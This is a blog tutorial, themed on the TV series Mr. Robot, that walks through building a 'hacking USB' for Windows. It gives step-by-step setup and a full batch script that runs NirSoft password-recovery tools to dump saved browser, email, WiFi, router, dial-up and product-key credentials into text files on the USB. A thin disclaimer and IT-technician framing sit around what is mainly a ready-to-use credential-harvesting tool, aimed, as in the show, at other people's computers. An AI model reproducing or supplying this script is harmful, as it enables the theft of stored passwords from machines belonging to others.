Usually I write about Internet Marketing and share with you different techniques you can use to grow your business, but today I decided to switch it up a little and create more of a “fun” post, like how to make a hacking USB similar to the one used in Mr. Robot.
For those who don’t know, Mr. Robot is American TV series about a young, anti-social computer hacker. In Season 2, Episode 6, one of the characters inserts a USB into a computer allowing the hackers to take control of the entire system.
The hacking USB you are going to make will quickly grab every password saved on the computer and save it to your USB.
This also includes Microsoft product keys and WiFi passwords.
Please note that I am not creating this tutorial so you can harm others, I am creating it so you can see how easy it is for someone to steal your passwords if you save them. The hacking USB is also extremely useful for IT technicians or for users who always seem to forget their passwords.
Also, this will only work computers running Windows and the files on there will be marked as malicious by virus scanners.
How To Make A Hacking USB
To create your hacking USB you will need to create a batch file and download a few applications included in a single package.
A batch file (also known as batch script) allows you to automate tasks and we are going to use it to run all of the applications and export their data to text files.
1. Create a new folder and call it Hacking USB.
2. Inside the folder create a folder called Tools.
3. Go to Nirsoft and download the package which includes all of the major password-recovery tools with command-line support.
4. Extract the files into the Tools folder using a program like 7-Zip.
5. Create a Text Document inside the Tools folder by right-clicking on the white space, clicking on New and selecting Text Document.
6. Rename the Text Document to Script.bat to turn it into a batch file.
If you can’t see the .txt extension at the end of your new document then you will need to disable the feature Hide file extensions on your computer by using this guide.
7. Right-click on your batch file and click on Edit.
The file should then open up in Notepad.
I always recommend you use Note++ or Atom when doing any type of coding but for this tutorial Notepad will do.
8. Copy and paste the below code in the Notepad.
:: Echo makes the command prompt window blank. You can try remove this to see what happens.
:: Creates a folder called log only if the folder does not already exist.
start BulletsPassView.exe /stext .\log\BulletsPassView-%computername%.txt
start ProduKey.exe /stext .\log\ProduKey-%computername%.txt
start ProtectedStorage.exe /stext .\log\ProtectedStorage-%computername%.txt
start RouterPassView.exe /stext .\log\RouterPassView-%computername%.txt
start WirelessKeyView.exe /stext .\log\WirelessKeyView-%computername%.txt
start ChromePass.exe /stext .\log\ChromePass-%computername%.txt
start Dialupass.exe /stext .\log\Dialupass-%computername%.txt
start iepv.exe /stext .\log\iepv-%computername%.txt
start mailpv.exe /stext .\log\mailpv-%computername%.txt
start mspass.exe /stext .\log\mspass-%computername%.txt
start netpass.exe /stext .\log\netpass-%computername%.txt
start PasswordFox.exe /stext .\log\PasswordFox-%computername%.txt
start WebBrowserPassView.exe /stext .\log\WebBrowserPassView-%computername%.txt
:: The above runs each application and exports the results as text documents using the naming convention ApplicationName-ComputerName
9. Save the Notepad.
Now if you run the Script.bat file you will notice that a folder called log has been created with a list of passwords.
Additional Steps (Optional)
If you’re like me and like to keep everything neat and tidy then the below steps are recommended.
1. Right-click the Script.bat file and select Create shortcut.
2. Move the shortcut you created from the folder Tools to the Folder Hacking USB.
3. Copy and paste the files onto a USB device.
As you can see it is very easy for someone to create a hacking USB to steal all your passwords which it is why you should be very careful when saving sensitive credentials such as bank details on your computer. Even though a lot of malicious programs are smart enough to bypass virus scanners, it is still recommended that you have one installed.
If you’re an IT technician, this USB is definitely very handy to have.
Also, if you are someone that forgets your passwords all the time then this is a great way to find them.
Do you like the TV show Mr. Robot?